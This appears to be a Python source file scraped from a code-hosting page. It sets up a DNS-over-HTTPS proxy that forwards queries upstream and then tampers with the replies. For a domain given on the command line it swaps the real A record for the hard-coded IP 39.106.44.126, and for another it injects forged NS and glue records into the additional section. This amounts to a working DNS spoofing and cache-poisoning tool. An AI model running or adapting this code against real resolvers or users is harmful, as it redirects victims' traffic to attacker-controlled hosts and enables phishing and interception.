63 lines
2.5 KiB
Python
63 lines
2.5 KiB
Python
import argparse
|
|
import base64
|
|
import ssl
|
|
import dns.asyncquery
|
|
import dns.rcode
|
|
import aiohttp
|
|
import dns.message
|
|
import dns.rrset
|
|
from aiohttp import web
|
|
|
|
DNS_SERVER_ADDRESS = '223.5.5.5'
|
|
DNS_SERVER_PORT = 53
|
|
|
|
async def doh_handler(request):
|
|
if request.method == "GET":
|
|
rquery = str(request.query).split(' ')[1]
|
|
#print(rquery)
|
|
rquery = rquery.ljust(len(rquery) + len(rquery) % 4, "=")
|
|
doh_request = dns.message.from_wire(base64.b64decode(rquery.encode("UTF8")))
|
|
else:
|
|
try:
|
|
doh_request = dns.message.from_wire(await request.read())
|
|
except :
|
|
return web.Response(text='Invalid DNS request', status=400)
|
|
|
|
dns_request = dns.message.make_query(doh_request.question[0].name, doh_request.question[0].rdtype)
|
|
dns_request.id = doh_request.id
|
|
# 发起DNS请求
|
|
dns_response = await dns.asyncquery.udp(q = dns_request, port=DNS_SERVER_PORT, where=DNS_SERVER_ADDRESS)
|
|
#print(dns_response)
|
|
|
|
if str(doh_request.question[0].name) == tamper and int(doh_request.question[0].rdtype)==1:
|
|
print('---tamper---',tamper)
|
|
dns_response.answer = [ dns.rrset.from_text(tamper,3600,dns.rdataclass.IN, dns.rdatatype.A,'39.106.44.126')]
|
|
if str(doh_request.question[0].name) == inject:
|
|
print('---inject---',inject)
|
|
dns_response.additional = [dns.rrset.from_text(inject,3600,dns.rdataclass.IN, dns.rdatatype.NS,'ns.'+inject.split('.',1)[1]),
|
|
dns.rrset.from_text('ns.'+inject.split('.',1)[1],3600,dns.rdataclass.IN, dns.rdatatype.A,ns)]
|
|
#print(dns_response)
|
|
# 构建HTTPS响应
|
|
response = web.Response(body=dns_response.to_wire())
|
|
response.content_type = 'application/dns-message'
|
|
return response
|
|
|
|
|
|
parser = argparse.ArgumentParser()
|
|
parser.add_argument('-tamper', '--tamper', default='')
|
|
parser.add_argument('-inject', '--inject', default='')
|
|
parser.add_argument('-ns', '--ns', default='39.106.44.126')
|
|
args = parser.parse_args()
|
|
tamper = args.tamper +'.'
|
|
inject = args.inject +'.'
|
|
ns = args.ns
|
|
#print('tamper:',tamper)
|
|
DOH_SERVER_URL = "https://dns.alidns.com/dns-query"
|
|
CERT_FILE = "/usr/local/etc/unbound/cert_new4/app.crt"
|
|
KEY_FILE = "/usr/local/etc/unbound/cert_new4/app.key"
|
|
ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
|
|
ssl_context.load_cert_chain(CERT_FILE, KEY_FILE)
|
|
app = web.Application()
|
|
app.router.add_get(path='/dns-query',handler=doh_handler)
|
|
app.router.add_post(path='/dns-query',handler=doh_handler)
|
|
web.run_app(app, host='127.0.0.1', port=8444, ssl_context=ssl_context) |